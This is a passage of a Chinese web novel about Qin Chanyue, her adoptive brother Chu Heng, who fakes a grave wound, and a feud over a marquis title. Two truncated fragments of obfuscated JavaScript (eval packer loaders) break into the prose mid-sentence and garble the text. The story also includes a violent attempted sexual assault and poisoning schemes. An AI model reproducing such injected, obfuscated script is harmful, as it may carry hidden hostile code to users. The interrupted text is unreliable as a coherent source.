那世子爷身着一身白衣,虚弱的靠着窗坐着,偶尔低头咳一咳,金相玉质的面上看似一片平静,但没人瞧见的时候,他那双瑞凤眼中闪过几丝隐秘的得意。 周渊渟有与他父亲一样的狡诈与心狠,为了守住自己的东西,他什么都做得出。 —— 等消息到赏月园的时候,秦禅月正拿着账本靠在窗边瞧着。 厢房安静,临窗矮桌上摆着的牡丹花枝随着窗外的风轻轻的晃,午后明媚的阳光落下来,将牡丹花枝照的娇艳欲滴,角落里的冰缸散发着阵阵凉意,厢房中偶尔传来敲算盘与书本翻页的声音,窗外常有鸟鸣。 这是一个安静的午后,正适合听一些好消息。 秦禅月的账正清到一半儿呢,便听见外头有人一路匆忙的跑进来,到了廊檐外面,连通报都忘了,扯着嗓门儿往厢房里面喊:“不好了!夫人,不好了!” 外头的人一跑过来,外间的丫鬟连忙呵斥道:“吵闹什么?夫人这里竟然也敢这么失礼,你规矩都去哪儿了!” 秦禅月倒是心情好,也就没计较外面这些人的失礼,只道:“叫人进来吧,说说什么事。” 外面的嬷嬷匆忙行进来,一张面上都带着点细汗,见了秦禅月,便“砰”的一下跪下来,哭丧着脸说:“不好了,夫人,出大事了。” 秦禅月讶然的一挑眉,心说,那庶子出了点事儿,至于这般哭丧吗? “什么事?”她问。 那嬷嬷一低头,竟是哽咽着说道:“王爷在边关遇刺,生命垂危,已经八百里加急,连夜送回长安城中了!现下刚到镇南王府!” 秦禅月手中的账本一颤,“啪嗒”一声砸在了地上。 她脑子里筹谋的所有计划都被这突如其来的一句话给打乱了,那端庄艳丽的夫人第一次失了方寸,竟是在原地愣了片刻,随后手足无措的往床下走,脚步一软,差一点儿当场摔倒。 艳丽的绸缎铺满在地上,像是一朵盛开到荼蘼的花,随着她的动作而轻轻地颤。 嬷嬷匆忙爬过来接,便瞧见秦禅月脸色苍白的道:“快,快带我过去。” 她的养兄,为什么会受伤? 她的信已经送过去了啊! 这到底是出了什么变故? 秦禅月连方青青和周问山的热闹都没来得及看,甚至根本连一句话都没往秋风堂处递送,一路匆忙上马车,奔向了镇南王府。 当时正是未时。 长安城的镇南王府位于青天坊,此坊距离皇宫不过百丈远,有“好风凭借力送我上青天”的意思,此坊间居住的都是有爵位的天潢贵胄,三步一侯爵五步一世子,都是常态。 镇南王府常年都是没有主子的,因镇南王一直驻守边疆,府门便一直空着,常年只有 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镇南王府的规格极高,院落干净整洁,但镇南王不喜花草,所以院中没有过多的葳蕤花枝,只有一排排沉默的树,树下站着一排排沉默的精兵,精兵手中握着的刀都是开了刃的精铁,一把把刀拼凑成了一个肃杀的镇南王府。 太子行过众人,心情越发沉重。 镇南王是本朝第一武将,同时也是他的最强支撑者,只有镇南王在,他才能与二皇子相争,眼下镇南王这般突兀的回来,定然是生了大事,但是能是什么事呢? 他临近回廊时,脚步更快了些。 人才一到回廊下,他便嗅到了浓烈的血腥气,太子心里越发沉。 门口的精兵行过礼后,太子匆忙进厢房,便见镇南王上半身赤着,裹着几道纱布,紧闭双眼躺在床榻间,竟是在昏迷中,似是生死不知。 一旁的镇南王的亲兵大夫在瞧着镇南王的伤势,却束手无策,任何草药都用不了。 秦家军为了预防蛊毒,会吞吃很多剧毒之物,这些剧毒之物在身体里调和,使他们变成了一种行走的毒,他们虽然能够以毒攻毒、预防蛊毒,但是同时也使一些草药在他们身上失去作用,一旦受伤,只能让他们自己硬抗下来,所以秦家军折损率极高。 太子瞧见镇南王这样便急了,匆忙询问身旁的副将:“这究竟是怎么回事?” 一旁站着的副将忙低下头,道:“回太子话,我们军中出了奸细,刺杀了镇南王。” 太子忙问:“是谁?” 副将凑过来,低声吐出了两个名字。 太子听的直拧眉:“这都是土生土长的大陈人,并非是外面的南蛊人,竟是有本朝的人想对镇南王动手吗?” 这话题太过危险,已经隐隐涉及到了朝堂党政,使一旁的副将抿紧了唇瓣。 党政啊...有些时候,党政甚至比外面的南蛊人更可恨。 自家人捅自家人,自然知道哪里更痛,血缘之间互相利用,互相捅刀,以欺骗换来的胜利,不管在什么时候, 而就在这个时候,门外突然响起来一阵急促的脚步声,有人不曾通报,像是一阵风一样扑进了门来。 太子一回头,便瞧见了一位艳丽恣意的美妇人。 美妇人三十年岁上下,生的眉目妖娆,丰腴饱满,且隐隐透着几分骄纵之意,满头金玉翡翠,一瞧见便知道是个十分张扬的人,像是枝头上正熟透、沉甸甸的果儿一般散发着成熟的气息,这样一个完美的美人儿,却因脚步凌乱而不显得端庄,眉眼间也含着慌乱不安,像是随时要晕过去似的。 这正是镇南王的妹妹,秦禅月,秦夫人。 秦禅月满心满眼都是她的养兄,根本就没顾得上去瞧这厢房中还有谁,太子那么大一个人,她硬是什么都没瞧见,一冲进门来,便直接扑到了床榻上,在床榻旁边开始呜咽。 16.沉默男妈妈 瞧见是秦禅月,太子竟是默不作声的退后了两步,并给了副将一个眼神。 长安城的人都知晓,秦禅月是镇南王的心尖尖儿,她不管做出来多出格的事儿,镇南王都娇惯纵容,镇南王素来是个克己复礼的人,但是与秦禅月有关的任何事,镇南王都不曾讲过道理。 镇南王就只有这么一个弱点,所以太子从不曾招惹她,秦禅月失礼便失礼吧,他对秦禅月越是纵容偏袒,镇南王对他就越是忠心,让一让这么一个小女子,就能换来镇南王,多么合算的买卖。 所以太子退后了几步,悄无声息的出了房间。 副将和一旁的大夫也跟着一起出了厢房间,离开的时候,副将还贴心的将厢房的门关上了。 厢房的门一关,其内就只剩下了秦禅月和床榻上的楚珩。 房屋内并不昏暗,窗外的午后阳光正璀璨,明媚的阳光将整个房间照的通亮,也同时落到了床榻上的楚珩的面上。 秦禅月怔怔的盯着养兄来看。 养兄躺在床上,上半身赤着,胸膛间有一道很深的疤痕,上面用纱布裹着,那殷红的颜色刺的她两眼发疼,养兄其下穿着单薄的绸制亵裤,闭着眼,气息都很微弱,那样高大的人,躺在这里却根本动弹不得,她看一眼,就觉得心口都要碎了的疼。 虽说养兄对她自小严格,虽说她也厌烦养兄管她过多,但她知道,养兄是对她最好的人,现下养兄躺在这里,她就想哭,一边哭还要一边紧紧地盯着养兄来看,总觉得看一眼少一眼。 上辈子养兄死在边疆,她只要到了个尸骨,尸骨也早都烂在了盔甲里,看不出眉眼来了,她几乎都要忘记养兄长什么样了。 天知道,当她知道养兄重伤的时候,她有多自责。 上辈子这个时候的养兄还在边关好好地待着呢,偏她一封信去了,养兄便重伤的回了,这其中定然有她的缘故。 她忍不住抬起手,去摸养兄的面。 养兄时年三十有四,但是看上去却比常人更显的老一些,面部棱角分明,额上的疤痕更吓人,当初她大婚的时候,养兄脸上还没有这道疤,想来是后来添上的。 她摸了头,便想一点点往下摸,去看养兄胸口上的伤。 养兄壮硕,常年练武,胸肌蜜色,瞧着很大,摸上去有点软,也不知道伤口如何,秦禅月知道养兄不能用药,更别提什么麻醉,伤了就是硬抗,心底更是难过。 她的手轻轻地滑过柔软的胸膛,往下是坚硬的腹肌,再往下——养兄的腿上受伤了吗? 秦禅月上手就去扒她养兄的裤子。 她年幼时候可是去过军中的,父亲自小就告诉她,她应为秦家而骄傲,她见过太多太多受伤的秦家军,在她眼里,受伤昏迷的将领并不是男人,他们没有男女之分,在她眼中的,凡他筋骨伤,皆为他勋章,她可以看他们伤处,也会愿意为他们治疗。 她甚至很早就看过养兄受伤灌药的样子,在很久很久之前。 但当她的手试图扒下裤子的时候,躺在她床榻前的养兄似乎突然颤了一下,秦禅月惊喜的抬头去看,问他:“大兄?” 她的养兄可是醒来了? 但躺在榻上的人没有什么回应,依旧是昏睡的模样,苍白的唇瓣。 秦禅月正要伸手再往下摸的时候,门外突然响起敲门声,副将的声音缓缓传来:“大姑娘——王爷重伤,要静养。” 秦禅月扒裤子的手就这么停了。 她迟疑了片刻,后将大兄身上的被子重新盖好,起身回了一句“知道了”,然后从厢房内走出去。 她出去后抓着个人来便开始盘问,她要知道养兄是如何受伤的,而副将趁着这个时候进了厢房门中,一路走到床榻旁边,蹲在床榻旁,低声唤了一句:“王爷?” 床榻上的镇南王缓缓睁开眼来。 他用目光向外一扫,隐隐能看见秦禅月盘问下人的身影,他定定的看了两息,才听见一旁的副将问:“可要告知大姑娘,您的计划?” 楚珩静静地看着她的背影。 他收到了秦禅月的信之后,便盘查了一下军中,果然找到了不少奸细,这些奸细不除,他不可能继续坐镇边疆,否则肯定会出事。 所以他以退为进,假意受伤,连夜回了长安,将这个问题抛给了年轻的太子,和年迈的帝王。 看看,你们的朝臣要自相残杀,甚至想要我这个名将的命,你们该如何处理呢? 他要用自己过去的军功,逼着帝王去给他一个交代。 这些杀他的人,总该死伤一批才是。 所以他要装自己受了伤,要不能起榻,要装的离死都不远,要做出来一副惨样来。 他跟谁都可以装一装,唯独跟秦禅月装不了,毕竟她是真的敢扒他的亵裤。 方才秦禅月摸过他的额头的触感似乎还停留在眉眼间,楚珩闭了闭眼,道:“瞒着。” 他—— 他当然可以选择告知秦禅月,但是在方才,秦禅月贴靠着他的时候,那种久违的温度使他无法抗拒。 他那样的想要亲近她,却不敢表露出来,他想,大概只有他病重的时候,秦禅月才愿意跟他这般亲近。 以前他离她很远很远,只有过去的一点记忆拿出来咀嚼反刍,但是 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副将一走,厢房内便只剩下了一个楚珩,无边的寂静包裹着他,他的目光又一次望过去,想去看秦禅月的影子。 但瞧不见了。 不知道秦禅月去了何处。 楚珩的眼眸垂下来,静静地在床榻间躺着。 许是因为这一场假造的有点真的缘故,他的身体真的觉得有些虚弱,让他紧绷的精神有片刻的恍惚,就在这恍惚间,他想到了很久很久以前,那时候的他也曾幻想过去娶秦禅月,但秦禅月一口回绝了他的养父。 那时候他就明白了,秦禅月不会喜欢他。 秦禅月日后当然可以再嫁,但是不是他。 他也是不好的。 他用了太多的毒,身体并不康健,一生不会有子,旧伤也太多,不知道什么时候便随风而去了,这样的他,并不能给秦禅月一个完整的,美好的一生。 她也并不喜欢他这样的人,她喜欢温柔的书生,喜欢诗词歌赋,喜欢忠义侯那样的人,而他—— 他张开手,看着自己满是伤痕老茧的手掌,随后慢慢的将手缩回到了被子里。 也没关系,他想,不是他反而更好。 他死的那一天,她也并不会伤心,等到百年后,世人会将他们的名字一起祭奠,提到秦禅月的时候,总会提到她的养兄,这就够了。 南疆辽阔的山野里,翻滚的毒虫中,生出了最宽裕,最洁白的爱。 而秦禅月对此一无所知。 她从不曾知道,她的养兄背负着什么在爱她。 17.给我找八个男人呢! 午时末,秦禅月正从副将的口中得知养兄受伤的来龙去脉。 她那一封信到了之后,养兄就开始排查军中的奸细,那奸细看自己暴露,干脆一刀捅了大兄,大兄昏迷不醒,亦不知道这军中还有多少奸细,所以才会连夜回长安养伤。 一旁的副将还安抚秦禅月:“王爷征战多年,肯定不会倒在这里,大姑娘莫要担忧,说不准过些时日,王爷就醒来了。” 秦禅月这样一听来,又觉得胸口间堆积的难过散了一些。 她想,最起码大兄还完整回来了,总好过上辈子。 至于昏迷不醒——这四个字秦禅月听见了就总觉得有人在给她养兄下药,毕竟她现在也这么给她夫君下药,推己及人,大兄身边的每一个心腹突然间都变得不大可信了。 秦禅月定了定神,问:“现下大兄还能喝药吗?昏迷时候用些什么?” “不喝药了。”副将道:“早些年还喝,但完全没用,现在也不用药了,只以漏勺送一些汤食进去。” 他们秦家军的身子,与寻常人是不一样的。 秦禅月点了点头,道:“好,去从外面提些水来,热的。” 副将疑问:“大姑娘要做什么?” “给大兄擦身子。”秦禅月回的掷地有声:“以后他的擦洗喂食都让我亲自来,旁人我不放心!” 谁知道他们下不下药啊!她个枕边人都下呢,旁的人她信不过。 上辈子大兄死在她看不见的地方,这辈子,她一定要让大兄好好活着。 副将浑身一震。 大姑娘敢洗,他们王爷都不敢受啊!真要让大姑娘给王爷洗了,等大姑娘走了,王爷第一个把他给砍了! 副将只能软下语调,劝了又劝,最终打消了秦禅月这个荒唐的念头,只保证以后食水都由秦禅月过手,秦禅月才算满意,但副将瞧着她,总觉得没那么简单。 果然,她当日下午就没打算走。 她先给昏迷中的楚珩灌了食水,后又围着这个人看伤摸伤,看了一会儿还抹掉了一会儿眼泪。 当夜,她本来都打算干脆息在镇南王府了,她实在是不想离开养兄的榻前,养兄一刻离开了她的眼,她就觉得有人要害养兄,但是就在她开口之前,忠义侯府的管家嬷嬷一路小跑来了,在她耳边说了几句话。 秦禅月的眉头微微拧起来。 她只记着养兄了,都忘了忠义侯府那边的事儿了,方青青的儿子残了,她如何能罢休呢? 但她也不情愿就这么离开,思索片刻后,秦禅月叫人去将柳烟黛叫回来。 旁人信不过,柳烟黛她是信得过的。 柳烟黛来了王府之后,被秦禅月安置在楚珩厢房的旁边,秦禅月叮嘱她看准了,不准让任何人碰触到镇南王。 柳烟黛双手握拳,掷地有声的应着:“婆母放心,我就在门口守着。” 秦禅月这才放下心来,提着裙摆,浩浩荡荡的回了忠义侯府。 柳烟黛便接替了秦禅月,继续在厢房门口守着。 秦禅月走了之后,太子才肯冒出来半个身影,只是眼瞧着门口又守上了一个,他今日怕是没办法与镇南王详谈了,只能作罢,并与副将告退。 副将亲自送他。 太子临走的时候,恰好从厢房旁边的窗户处经过柳烟黛,当时,柳烟黛正守着门,与一旁的一位老嬷嬷聊天,似是两人极为熟悉。 那位老嬷嬷在问柳烟黛:“姑娘嫁到了忠义侯府,过得如何?秦大姑娘向来不是个好相与的脾气,老奴听闻世子爷不喜欢您,您现在日子可难做?” 太子并非有意偷听他们说话,只是他习武之人,耳聪目明,难免听到了些,闻言下意识瞥了一眼。 那位名唤柳烟黛的世子妃规规矩矩的站在门口,秦夫人说让她守门,她就真固执的守着门,一步都不踏出去,好似“军规如山”似得,一张圆滚滚的脸蛋很像是以前吃过的兔子糕,白白软软,还透着几丝酡红。 “婆母对我很好,我日子不难过。”柳烟黛声线轻柔地回。 太子听见了个音调,心想,声量也像是兔子,看样子是个性子温吞和善的本分人。 那嬷嬷似是不大信,又追着问了几句,言语间对秦禅月多为怀疑,秦禅月那样的脾气,真的能喜欢柳烟黛吗? 柳烟黛一时情急,为秦禅月辩驳道:“真的!婆母对我很好的,世子虽不喜欢我,但婆母为了让我开心,给我送了八个男人呢!” 行走在前面的太子惊的微微挑眉。 八——八,嗯,秦府家风...世子妃...嗯... 不甚端庄。 —— 而此时,秦禅月已经从青天坊回了长平坊。 长平坊比青天坊距离京城远些,住的大概都是一品到三品的官员,坊间处处都是高门大户,一家有什么动静,隔壁院子总能听见些。 秦禅月回长平坊忠义侯府之前,忠义侯府可生了不少大事。 方青青的儿子周问山残废了的消息传遍了整个侯府后,周渊渟兴奋极了。 父亲偏宠外室子,母亲被父亲忽悠着放弃了爵位,心上人和他弟弟苟且在了一起,所有人都抛弃他,但他偏偏最争气。 外室子想与他来抢,他便自己想法子守住自己的东西,现在外室子残了,大陈从不给废人发爵,到头来,爵位还是他的。 这让他有一种重新掌控一切的感觉。 今日,他能从外室子手里夺回来爵位,明日,他就能从弟弟手里夺回来白玉凝!这些本就属于他的东西,他都可以一样一样的夺回来! 意气风发的公子哥儿将自己拾掇齐整了,一路从自己的厢房而出,过了一道宝瓶门,经了假山游廊,亲自去瞧他的那位弟弟去了。 他到的时候,周问山还昏迷着呢,他躺在榻上,脸色惨白。 方姨娘守在床榻边上,哭的惊天动地:“问山啊——” 他们娘俩刚要过好日子,怎么周问山就惊马而摔了呢? 周渊渟在一旁看着,谦谦君子的面上浮现出了几分不忍卒听的模样来,随后在一旁安抚了几句方姨娘。 “三弟一定会好的。”他这般说。 方姨娘只顾着哭,也没听进去,周渊渟则自己离开,转而问了父亲在何处。 一旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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侯府的纷纷扰扰都和他们俩没关系,他们俩每日静悄悄的黏在一起,彼此都觉得自己是对方的唯一,那幽冷的祠堂中被他们添了一抹暖意,谁都离不开对方,正是浓情蜜意时。 周渊渟则站在小厨房门口,面带讥诮的静静地看着她,等着她发现他。 白玉凝将那些糕点一一放进了食盒里,想到一会儿要见到周驰野,她面上便多了几分欢喜,正含着笑一转身呢,却不料,正与门口的周渊渟对上视线。 那清俊高挑的贵公子含着笑站在门口,目光咄咄的落到她身上,像是要将她身上烫出一个洞来! 白玉凝惊得心头肉跳,猛地退后了一步,高声喊道:“你,你做什么?” “白姑娘又在做什么?”周渊渟讥诮着向前一步走,嗅了嗅厨房中剩余的甜香,道:“原是桂花糕啊,给我弟弟吃的吗——你便是用这种手段来勾引我弟弟的吗?白、玉!凝!” 他的声线逐渐狰狞,带起了几分恨意,他大步上前来,狠狠地抓住了白玉凝的手臂道:“你背叛我时,有想过自己的后果吗?” 说话间,他用力去撕扯白玉凝的衣裳。 背叛了他的女人没有好下场,他今日就在这里要了她,日后他当了侯爷,就将她锁在院中当个烧火丫鬟,随意凌辱以泄他的恨! 18.狗血撕逼之狗咬狗 男子宽大的手掌撕裂月锦绸的衣裙,衣襟布匹伴随着白玉凝“啊”的一声尖叫被扯开,露出其下白嫩的胴体。 这是周渊渟朝思暮想的,白玉凝的一切。 白玉凝生的高挑纤细,隐在衣裙下的身子也如她的面一样,肤润洁白,曲线玲珑,但周渊渟看了一眼,顿时目眦欲裂。 白玉凝的胸口间竟然有一个牙痕! 瞧见这牙痕,周渊渟只觉得眼前一黑。 白玉凝竟然已经不是处子了! 放眼这整个侯府,能与白玉凝做这种腌臜事儿的,只有一个周驰野,他的亲弟弟,他的好弟弟!在他不知道的时候,这两个人竟然已经背着他干上这种恶心事儿了! “放开我!”就在周渊渟发愣的瞬间,白玉凝尖叫着喊道:“世子,你已经娶妻了,请自重。” “自重?”周渊渟转瞬间回过神来,只觉得一股恼意直顶头皮:“这两个字也是你配说的?我为了娶你,从不曾碰过那柳烟黛一根手指头!你呢?你竟然跟我弟弟滚到了一起!行未婚苟且之事,你也配提[自重]!水性杨花的贱/货!” 他骂的不过瘾,还抓着白玉凝的头发,将人拖过来抽了两耳光。 白玉凝身形单薄,似是窗外精心侍弄的白牡丹,柔弱无骨,惹人怜爱,就这样一朵娇嫩的花,如何能扛得住周渊渟的恨意呢? 她的脸转瞬间便被抽肿了,只能呜咽着骂一些话来:“你会遭报应的。” 周渊渟根本不在乎。 他撕扯下白玉凝的衣裳,用最恶毒的话来骂她:“遭报应?我马上就要成侯爷了!谁能来报应我呢?” 老侯爷快死了,外室子残废了,母亲是个拎不清的后宅女人,噢,还有个二弟。 周渊渟那张斯文的面上闪过几分沸腾的、癫狂的、难以压制的恨意。 小厨房里的灶火还有余炭在烧,窗外的翠竹林中有蝉声嘶力竭的鸣,食盒早已跌落滚到了地上,里面洁白的糕点滚在尘埃里,四周静的只剩下周渊渟的声音。 “你以为我会让周驰野活着吗?他抢了我的女人,他会死的。” 他既然能废掉一个外室子,为什么不能废掉一个周驰野呢? 今天的成功蒙蔽住了周渊渟的双眼,让他突然发觉,他这十几年间的遵规守矩都是一个笑话,想要的东西,是没办法从别人手里求来的,他得想办法抢过来。 既然能抢一次,就一定能抢第二次! 他就抱着这样的念头,慢条斯理的扯开了白玉凝的腰带,他道:“你老实听话,我能留你一命。” 他不会让白玉凝死掉,背叛了他的人,就该长久地跪在他的面前赎罪。 一时之间,小厨房中只剩下撕裂衣襟的声音。 —— 与此同时,秋风堂、周问山的病厢房内。 方姨娘扑在儿子床榻上哭的几欲昏死,正是悲痛欲绝的时候,床榻上的周问山竟然恍惚间醒来了。 “娘——”躺在榻上的儿子恍惚着发出声音来,让方姨娘满是泪痕的面上涌起一丝惊喜。 她颤抖着手去摸儿子的额头,想问问“儿子疼不疼”,但是话还没来得及说出口,便听见她儿子艰难地挤出来一句:“娘,为我报仇。” 方姨娘大惊,连忙凑过耳来问:“怎么回事?什么替你报仇!” 周问山艰难的挤出来一句:“是周渊渟害了我,他不愿将爵位给我。” 他还想说些证据,但是一言至此,他眼前一黑,又是晕了过去。 一旁的方青青呆愣愣的坐了片刻后,恍然间明白了,她的儿子是周渊渟害的——不,不一定只有周渊渟一个,说不准还有秦禅月呢,秦禅月和周渊渟怎么会看着爵位落到她儿子的手上呢?他们肯定巴不得她和她儿子一起死! 不行,她要去找侯爷,只有侯爷能保护她。 方青青疯疯癫癫的爬起来,一路往外跑着问:“侯爷呢?侯爷呢!” 门口守着的丫鬟连忙俯身行礼,道:“回方姨娘话,侯爷太过操心,身子疲惫,已回了厢房中休憩了。” 听见这话,方青青顿时怒火中烧,那些潮湿的悲意瞬间被怒火烤干,升腾出如同毒雾一般狰狞的怨恨来。 他们的儿子现在已经变成了这般模样,周子恒怎么还能睡得着呢?那是他们唯一的儿子啊! 她带着恼怒冲到周子恒的厢房中去,穿过静静悬挂的珠帘,撞碎袅袅而升的烟雾,扑过去将床榻上疲惫昏沉的周子恒吵醒。 “侯爷!”凄厉的女音之中夹杂着哭音,一连气儿的刺到周子恒的耳朵里。 周子恒这一日折腾的甚是疲惫,他现在能走动,是因为秦禅月不想让他死的太早,所以没给他喂毒药,又被一些好药滋补,他现在才能动一动,但身子骨也都被毒毁了,行动间十分迟缓,方青青的哭喊声爆发的时候,他顿觉心惊肉跳,心好像要从胸腔里跳出来了,碰撞的心跳声在耳廓之中回荡,以至于方青青的哭喊声都有些模糊。 方青青颠三倒四的说:“儿子是被害的,他说了,是周渊渟害的!是被秦禅月害的!因为周渊渟想抢儿子的爵位,你去找周渊渟问话,你去打断他的腰骨!” 他怔怔的被方青青喊的坐起来,瞧着哭闹的方青青,心底里一阵心疼。 周子恒叹了口气,道:“我也知你难过,但不能如此胡乱言语,周渊渟是我的亲儿子,一贯是温顺谦和的脾气,虽然这几日因为袭爵的事儿闹得有几分嫌隙,但他身骨却是正的,从不曾做这样的事,不可能是他,秦禅月性子傲,但一向听我的话,她若是不愿意问山袭爵,大可以直接提出来,不必如此暗害,定是你想多了。” 方青青不依,她嘶吼着,毫无平日的温柔乖巧,逼着周子恒去找周渊渟。 周子恒又叹了一口气。 那坐在榻上的侯爷伸出手,温柔的摸了摸爱妾哭湿的面颊,随后用无奈的语气道:“既然你执意要查,那我现在就命人将周渊渟找过来,我们当面来查,可好?” 这是跟他受了一辈子委屈的人,所以他不愿意让方青青难过,哪怕是没有可能的事儿,他也愿意去查。 方青青却依旧不肯,她扑在周子恒的膝上哭着道:“我们现在就去抓,你陪我一起去,不要让下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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但他还不曾说话,便听方姨娘怨恨的嘶吼道:“周渊渟,是不是你害了我的儿子!我儿子说了,是你——” 方姨娘看见了周渊渟和白玉凝干这种脏事儿都不在乎,她现在满心都是她的儿子,竟是不管不顾的冲进去,指着周渊渟的脸就开始骂。 周渊渟自然反驳:“不,不,我不知道方姨娘在说什么。” 事情怎么暴露的这么快?分明他都上下打点好了——反正不管如何,他是不可能承认的。 而这时候,趴在地上的白玉凝终于回过神来了。 她的脸都被打的青肿,之前都以为自己要完了,现在见了人,也顾不上自己的仪态,匆忙用被撕碎的外裳裹住自己残破的衣裳,往前匍匐着爬了两步。 她做梦都没想到自己会有今天,在众目睽睽之下被扒光,连门外还有小厮在窥探!她比之那些娼妓又有什么分别? 恨意涌上心头,她也豁出去了,竟是不管不顾嘶吼道:“就是周渊渟让人伤了周问山,我有证据!” 四下之人大惊! —— 就在这个混乱纷争的时候,秦禅月回府了。